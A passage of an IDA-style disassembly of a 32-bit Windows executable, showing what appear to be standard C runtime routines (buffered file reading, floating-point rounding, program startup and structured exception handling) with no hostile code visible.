		jmp	short loc_40E043
; ---------------------------------------------------------------------------

loc_40E02B:				; CODE XREF: sub_40DFAE+98j
		movzx	esi, byte ptr [edx]
		xor	eax, eax
		mov	ecx, esi
		and	ecx, edi
		inc	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	al, cl
		jnz	short loc_40E04A
		inc	edx

loc_40E043:				; CODE XREF: sub_40DFAE+7Bj
		cmp	byte ptr [edx],	0
		jnz	short loc_40E02B
		jmp	short loc_40E04E
; ---------------------------------------------------------------------------

loc_40E04A:				; CODE XREF: sub_40DFAE+92j
		mov	byte ptr [edx],	0
		inc	edx

loc_40E04E:				; CODE XREF: sub_40DFAE+9Aj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_4]
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		pop	edi
		and	eax, ebx
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_40DFAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E06D	proc near		; CODE XREF: sub_407FA4+6Cp
					; sub_407FA4+15Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_40E094
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E094:				; CODE XREF: sub_40E06D+9j
		mov	eax, [eax+0Ch]
		and	eax, 10h
		pop	esi
		retn
sub_40E06D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E09C	proc near		; CODE XREF: sub_40E232+A1p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		test	edi, edi
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		jz	loc_40E1EC
		cmp	[ebp+arg_C], 0
		jz	loc_40E1EC
		imul	edi, [ebp+arg_C]
		mov	esi, [ebp+arg_10]
		test	word ptr [esi+0Ch], 10Ch
		mov	[ebp+var_10], edi
		mov	ebx, edi
		jz	short loc_40E0E2
		mov	eax, [esi+18h]
		mov	[ebp+var_C], eax
		jmp	short loc_40E0E9
; ---------------------------------------------------------------------------

loc_40E0E2:				; CODE XREF: sub_40E09C+3Cj
		mov	[ebp+var_C], 1000h

loc_40E0E9:				; CODE XREF: sub_40E09C+44j
		test	edi, edi
		jz	loc_40E1B8

loc_40E0F1:				; CODE XREF: sub_40E09C+116j
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40E13A
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40E13A
		jl	loc_40E21D
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_40E10E
		mov	edi, eax

loc_40E10E:				; CODE XREF: sub_40E09C+6Ej
		cmp	edi, [ebp+var_4]
		ja	loc_40E1BD
		push	edi
		push	dword ptr [esi]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_40D357
		sub	[esi+4], edi
		add	[esi], edi
		add	[ebp+var_8], edi
		sub	ebx, edi
		add	esp, 10h
		sub	[ebp+var_4], edi
		mov	edi, [ebp+var_10]
		jmp	short loc_40E1B0
; ---------------------------------------------------------------------------

loc_40E13A:				; CODE XREF: sub_40E09C+5Bj
					; sub_40E09C+62j
		cmp	ebx, [ebp+var_C]
		jb	short loc_40E188
		cmp	[ebp+var_C], 0
		mov	eax, ebx
		jz	short loc_40E150
		xor	edx, edx
		div	[ebp+var_C]
		mov	eax, ebx
		sub	eax, edx

loc_40E150:				; CODE XREF: sub_40E09C+A9j
		cmp	eax, [ebp+var_4]
		ja	loc_40E1F3
		push	eax
		push	[ebp+var_8]
		push	esi
		call	sub_412CF4
		pop	ecx
		push	eax
		call	sub_41461F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E22C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E21D
		add	[ebp+var_8], eax
		sub	ebx, eax
		sub	[ebp+var_4], eax
		jmp	short loc_40E1B0
; ---------------------------------------------------------------------------

loc_40E188:				; CODE XREF: sub_40E09C+A1j
		push	esi
		call	sub_413F5D
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	loc_40E221
		cmp	[ebp+var_4], 0
		jz	short loc_40E1F3
		mov	ecx, [ebp+var_8]
		inc	[ebp+var_8]
		mov	[ecx], al
		mov	eax, [esi+18h]
		dec	ebx
		dec	[ebp+var_4]
		mov	[ebp+var_C], eax

loc_40E1B0:				; CODE XREF: sub_40E09C+9Cj
					; sub_40E09C+EAj
		test	ebx, ebx
		jnz	loc_40E0F1

loc_40E1B8:				; CODE XREF: sub_40E09C+4Fj
		mov	eax, [ebp+arg_C]
		jmp	short loc_40E1EE
; ---------------------------------------------------------------------------

loc_40E1BD:				; CODE XREF: sub_40E09C+75j
		xor	esi, esi
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_40E1D4
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40CBA0
		add	esp, 0Ch

loc_40E1D4:				; CODE XREF: sub_40E09C+127j
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 22h
		push	esi

loc_40E1E4:				; CODE XREF: sub_40E09C+17Fj
		call	sub_40D31E
		add	esp, 14h

loc_40E1EC:				; CODE XREF: sub_40E09C+1Aj
					; sub_40E09C+24j
		xor	eax, eax

loc_40E1EE:				; CODE XREF: sub_40E09C+11Fj
					; sub_40E09C+18Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40E1F3:				; CODE XREF: sub_40E09C+B7j
					; sub_40E09C+100j
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_40E209
		push	[ebp+arg_4]
		push	0
		push	[ebp+arg_0]
		call	sub_40CBA0
		add	esp, 0Ch

loc_40E209:				; CODE XREF: sub_40E09C+15Bj
		call	sub_40FCB4
		mov	dword ptr [eax], 22h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		jmp	short loc_40E1E4
; ---------------------------------------------------------------------------

loc_40E21D:				; CODE XREF: sub_40E09C+64j
					; sub_40E09C+DCj
		or	dword ptr [esi+0Ch], 20h

loc_40E221:				; CODE XREF: sub_40E09C+F6j
					; sub_40E09C+194j
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_8]
		jmp	short loc_40E1EE
; ---------------------------------------------------------------------------

loc_40E22C:				; CODE XREF: sub_40E09C+D3j
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_40E221
sub_40E09C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E232	proc near		; CODE XREF: sub_40E2F9+12p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	0Ch
		push	offset dword_421AC0
		call	__SEH_prolog4
		xor	esi, esi
		mov	[ebp+var_1C], esi
		mov	ebx, [ebp+arg_8]
		cmp	ebx, esi
		jz	short loc_40E275
		mov	edi, [ebp+arg_C]
		cmp	edi, esi
		jz	short loc_40E275
		xor	eax, eax
		cmp	[ebp+arg_0], esi
		setnz	al
		cmp	eax, esi
		jnz	short loc_40E27D

loc_40E25D:				; CODE XREF: sub_40E232+7Aj
					; sub_40E232+88j
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D31E
		add	esp, 14h

loc_40E275:				; CODE XREF: sub_40E232+16j
					; sub_40E232+1Dj
		xor	eax, eax

loc_40E277:				; CODE XREF: sub_40E232+BBj
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40E27D:				; CODE XREF: sub_40E232+29j
		cmp	[ebp+arg_10], esi
		jz	short loc_40E28D
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ebx
		cmp	edi, eax
		jbe	short loc_40E2BC

loc_40E28D:				; CODE XREF: sub_40E232+4Ej
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_40E2A2
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40CBA0
		add	esp, 0Ch

loc_40E2A2:				; CODE XREF: sub_40E232+5Fj
		xor	eax, eax
		cmp	[ebp+arg_10], esi
		setnz	al
		cmp	eax, esi
		jz	short loc_40E25D
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ebx
		cmp	eax, edi
		sbb	eax, eax
		inc	eax
		jz	short loc_40E25D

loc_40E2BC:				; CODE XREF: sub_40E232+59j
		push	[ebp+arg_10]
		call	sub_412430
		pop	ecx
		mov	[ebp+ms_exc.disabled], esi
		push	[ebp+arg_10]
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E09C
		add	esp, 14h
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40E2EF
		mov	eax, [ebp+var_1C]
		jmp	short loc_40E277
sub_40E232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2EF	proc near		; CODE XREF: sub_40E232+B3p
					; DATA XREF: ev73vtp2:00421AD8o
		push	dword ptr [ebp+18h]
		call	sub_412482
		pop	ecx
		retn
sub_40E2EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2F9	proc near		; CODE XREF: sub_407FA4+D8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	0FFFFFFFFh
		push	[esp+10h+arg_0]
		call	sub_40E232
		add	esp, 14h
		retn
sub_40E2F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E314	proc near		; CODE XREF: sub_40E325j
					; sub_41A324+35p

arg_0		= dword	ptr  4

		push	0Ah
		push	0
		push	[esp+8+arg_0]
		call	sub_414926
		add	esp, 0Ch
		retn
sub_40E314	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E325	proc near		; CODE XREF: sub_4091D2+192p
					; .text:0040A37Ap ...
		jmp	sub_40E314
sub_40E325	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E330	proc near		; CODE XREF: .text:00409CBEp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  4

		cmp	dword_434E1C, 0
		jz	sub_414BFF
		sub	esp, 8
		stmxcsr	[esp+8+var_4]
		mov	eax, [esp+8+var_4]
		and	eax, 1F80h
		cmp	eax, 1F80h
		jnz	short loc_40E364
		fnstcw	word ptr [esp+8+var_8]
		mov	ax, word ptr [esp+8+var_8]
		and	ax, 7Fh
		cmp	ax, 7Fh

loc_40E364:				; CODE XREF: sub_40E330+23j
		lea	esp, [esp+8]
		jnz	sub_414BFF
		jmp	short $+2
		movq	xmm0, [esp+arg_0]
		movapd	xmm2, oword ptr	ds:oword_41E390
		movapd	xmm1, xmm0
		movapd	xmm7, xmm0
		psrlq	xmm0, 34h
		movd	eax, xmm0
		andpd	xmm0, oword ptr	ds:oword_41E3B0
		psubd	xmm2, xmm0
		psrlq	xmm1, xmm2
		test	eax, 800h
		jz	short loc_40E3F2
		cmp	eax, 0BFFh
		jl	short loc_40E42A
		psllq	xmm1, xmm2
		cmp	eax, 0C32h
		jg	short loc_40E3C3
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_40E3C3:				; CODE XREF: sub_40E330+86j
					; sub_40E330+E1j
		ucomisd	xmm7, xmm7
		jnp	short loc_40E3ED
		mov	edx, 3ECh
		sub	esp, 10h
		mov	[esp+10h+var_4], edx
		mov	edx, esp
		add	edx, 14h
		mov	[esp+10h+var_8], edx
		mov	[esp+10h+var_C], edx
		mov	[esp+10h+var_10], edx
		call	sub_41494F
		add	esp, 10h

loc_40E3ED:				; CODE XREF: sub_40E330+97j
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_40E3F2:				; CODE XREF: sub_40E330+74j
		movq	xmm0, [esp+arg_0]
		psllq	xmm1, xmm2
		movapd	xmm3, xmm0
		cmppd	xmm0, xmm1, 6
		cmp	eax, 3FFh
		jl	short loc_40E431
		cmp	eax, 432h
		jg	short loc_40E3C3
		andpd	xmm0, oword ptr	ds:oword_41E380
		addsd	xmm1, xmm0
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_40E42A:				; CODE XREF: sub_40E330+7Bj
		fld	ds:dbl_41E3C0
		retn
; ---------------------------------------------------------------------------

loc_40E431:				; CODE XREF: sub_40E330+DAj
		cmppd	xmm3, oword ptr	ds:oword_41E3A0, 6
		andpd	xmm3, oword ptr	ds:oword_41E380
		movq	[esp+arg_0], xmm3
		fld	[esp+arg_0]
		retn
sub_40E330	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E44D	proc near		; CODE XREF: .text:0040E4F2p
					; .text:0040E58Fp ...

arg_0		= dword	ptr  4

		cmp	dword_425AFC, 1
		jnz	short loc_40E45B
		call	sub_413F24

loc_40E45B:				; CODE XREF: sub_40E44D+7j
		push	[esp+arg_0]
		call	sub_413D84
		push	0FFh
		call	sub_411FF7
		pop	ecx
		pop	ecx
		retn
sub_40E44D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E471	proc near		; CODE XREF: .text:0040E577p
		cmp	word ptr ds:400000h, 5A4Dh
		jnz	short loc_40E4AF
		mov	eax, ds:40003Ch
		cmp	dword ptr [eax+400000h], 4550h
		jnz	short loc_40E4AF
		cmp	word ptr [eax+400018h],	10Bh
		jnz	short loc_40E4AF
		cmp	dword ptr [eax+400074h], 0Eh
		jbe	short loc_40E4AF
		xor	ecx, ecx
		cmp	[eax+4000E8h], ecx
		setnz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40E4AF:				; CODE XREF: sub_40E471+9j
					; sub_40E471+1Aj ...
		xor	eax, eax
		retn
sub_40E471	endp

; ---------------------------------------------------------------------------

loc_40E4B2:				; CODE XREF: .text:0040E697j
		push	60h
		push	offset dword_421AE0
		call	__SEH_prolog4
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-70h]
		push	eax
		call	ds:off_41E1A4
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	edi, 94h
		push	edi
		push	0
		mov	ebx, ds:dword_41E100
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_41E114	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40E4FD
		push	12h
		call	sub_40E44D
		pop	ecx
		jmp	loc_40E687
; ---------------------------------------------------------------------------

loc_40E4FD:				; CODE XREF: .text:0040E4EEj
		mov	[esi], edi
		push	esi
		call	ds:dword_41E068	; GetVersionExA
		push	esi
		push	0
		test	eax, eax
		jnz	short loc_40E51B
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_41E10C	; RtlFreeHeap
		jmp	loc_40E687
; ---------------------------------------------------------------------------

loc_40E51B:				; CODE XREF: .text:0040E50Bj
		mov	eax, [esi+10h]
		mov	[ebp-20h], eax
		mov	eax, [esi+4]
		mov	[ebp-24h], eax
		mov	eax, [esi+8]
		mov	[ebp-28h], eax
		mov	edi, [esi+0Ch]
		and	edi, 7FFFh
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_41E10C	; RtlFreeHeap
		mov	esi, [ebp-20h]
		cmp	esi, 2
		jz	short loc_40E54D
		or	edi, 8000h

loc_40E54D:				; CODE XREF: .text:0040E545j
		mov	ecx, [ebp-24h]
		mov	eax, ecx
		shl	eax, 8
		mov	edx, [ebp-28h]
		add	eax, edx
		mov	dword_425FD8, esi
		mov	dword_425FE0, eax
		mov	dword_425FE4, ecx
		mov	dword_425FE8, edx
		mov	dword_425FDC, edi
		call	sub_40E471
		mov	[ebp-20h], eax
		xor	ebx, ebx
		inc	ebx
		push	ebx
		call	sub_40FF63
		pop	ecx
		test	eax, eax
		jnz	short loc_40E595
		push	1Ch
		call	sub_40E44D
		pop	ecx

loc_40E595:				; CODE XREF: .text:0040E58Bj
		call	sub_40F9B7
		test	eax, eax
		jnz	short loc_40E5A6
		push	10h
		call	sub_40E44D
		pop	ecx

loc_40E5A6:				; CODE XREF: .text:0040E59Cj
		call	sub_4152FD
		mov	[ebp-4], ebx
		call	sub_412AB4
		test	eax, eax
		jge	short loc_40E5BF
		push	1Bh
		call	sub_411FAD
		pop	ecx

loc_40E5BF:				; CODE XREF: .text:0040E5B5j
		call	ds:off_41E1A8
		mov	dword_434E40, eax
		call	sub_4151C8
		mov	dword_425AF4, eax
		call	sub_41510F
		test	eax, eax
		jge	short loc_40E5E5
		push	8
		call	sub_411FAD
		pop	ecx

loc_40E5E5:				; CODE XREF: .text:0040E5DBj
		call	sub_414E9C
		test	eax, eax
		jge	short loc_40E5F6
		push	9
		call	sub_411FAD
		pop	ecx

loc_40E5F6:				; CODE XREF: .text:0040E5ECj
		push	ebx
		call	sub_4120C9
		pop	ecx
		test	eax, eax
		jz	short loc_40E608
		push	eax
		call	sub_411FAD
		pop	ecx

loc_40E608:				; CODE XREF: .text:0040E5FFj
		call	sub_414E3F
		test	[ebp-44h], bl
		jz	short loc_40E618
		movzx	ecx, word ptr [ebp-40h]
		jmp	short loc_40E61B
; ---------------------------------------------------------------------------

loc_40E618:				; CODE XREF: .text:0040E610j
		push	0Ah
		pop	ecx

loc_40E61B:				; CODE XREF: .text:0040E616j
		push	ecx
		push	eax
		push	0
		push	400000h
		call	sub_404954
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_40E638
		push	eax
		call	sub_412229

loc_40E638:				; CODE XREF: .text:0040E630j
		call	sub_41224B
		jmp	short loc_40E66D
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-2Ch], ecx
		push	eax
		push	ecx
		call	sub_414CD0
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-2Ch]
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_40E668
		push	eax
		call	sub_41223A

loc_40E668:				; CODE XREF: .text:0040E660j
		call	sub_41225A

loc_40E66D:				; CODE XREF: .text:0040E63Dj
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	eax, [ebp-1Ch]
		jmp	short loc_40E68C
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFEh

loc_40E687:				; CODE XREF: .text:0040E4F8j
					; .text:0040E516j
		mov	eax, 0FFh

loc_40E68C:				; CODE XREF: .text:0040E677j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40E692:				; CODE XREF: kgbikm34:0044ACB4j
		call	sub_415345
		jmp	loc_40E4B2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E69C	proc near		; CODE XREF: sub_401E7B+58p
					; .text:0040217Bp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41E3C8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		test	eax, eax
		pop	edi
		mov	[ebp+var_4], eax
		pop	esi
		jz	short loc_40E6CF
		test	byte ptr [eax],	8
		jz	short loc_40E6CF
		mov	[ebp+var_C], 1994000h

loc_40E6CF:				; CODE XREF: sub_40E69C+25j
					; sub_40E69C+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:off_41E1A0
		leave
		retn	8
sub_40E69C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6E6	proc near		; CODE XREF: sub_415B64+65p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ebp, [ebp+var_4]
		mov	esp, [ebx-4]
		jmp	eax
sub_40E6E6	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_40E716	proc near		; CODE XREF: sub_41567D+31p
					; sub_415AD3+59p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40E716	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E71D	proc near		; CODE XREF: sub_40E8AA+69p
					; sub_415B64:loc_415B8Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_40E746
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41D9E6

loc_40E746:				; DATA XREF: sub_40E71D+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40E71D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E76F	proc near		; CODE XREF: sub_41DB53+16j
					; sub_41DB6E+16j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416030
		add	esp, 20h
		mov	[ebp+var_8], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_40E76F	endp

; ---------------------------------------------------------------------------

loc_40E7A5:				; DATA XREF: sub_40EA4F+24o
		push	esi
		cld
		mov	esi, [esp+0Ch]
		mov	ecx, [esi+8]
		xor	ecx, esi
		call	sub_40AFEE
		push	0
		push	esi
		push	dword ptr [esi+14h]
		push	dword ptr [esi+0Ch]
		push	0
		push	dword ptr [esp+24h]
		push	dword ptr [esi+10h]
		push	dword ptr [esp+24h]
		call	sub_416030
		add	esp, 20h
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7D5	proc near		; CODE XREF: sub_40E8AA+81p
					; sub_415BD0+53p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		cmp	[ebp+arg_0], 123h
		jnz	short loc_40E7F7
		mov	eax, offset loc_40E87E
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		jmp	loc_40E8A7
; ---------------------------------------------------------------------------

loc_40E7F7:				; CODE XREF: sub_40E7D5+Ej
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_40E8AA
		mov	eax, dword_423068
		lea	ecx, [ebp+var_28]
		xor	eax, ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_10], eax
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_38], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_30], eax
		call	sub_40F87E
		mov	eax, [eax+80h]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	[ebp+var_2C]
		pop	ecx
		pop	ecx
		and	[ebp+var_38], 0

loc_40E87E:				; DATA XREF: sub_40E7D5+10o
		cmp	[ebp+var_4], 0
		jz	short loc_40E89B
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_40E8A4
; ---------------------------------------------------------------------------

loc_40E89B:				; CODE XREF: sub_40E7D5+ADj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_40E8A4:				; CODE XREF: sub_40E7D5+C4j
		mov	eax, [ebp+var_38]

loc_40E8A7:				; CODE XREF: sub_40E7D5+1Dj
		pop	ebx
		leave
		retn
sub_40E7D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8AA	proc near		; DATA XREF: sub_40E7D5+26o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		cld
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, [ebp+arg_4]
		call	sub_40AFEE
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		jz	short loc_40E8DA
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_40E944
; ---------------------------------------------------------------------------
		jmp	short loc_40E944
; ---------------------------------------------------------------------------

loc_40E8DA:				; CODE XREF: sub_40E8AA+1Dj
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+18h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		call	sub_416030
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_40E918
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_40E71D

loc_40E918:				; CODE XREF: sub_40E8AA+61j
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	123h
		call	sub_40E7D5
		add	esp, 1Ch
		mov	eax, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	eax
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax

loc_40E944:				; CODE XREF: sub_40E8AA+2Cj
					; sub_40E8AA+2Ej
		pop	ebx
		leave
		retn
sub_40E8AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E947	proc near		; CODE XREF: sub_415BD0+81p
					; sub_415CC2+1C6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
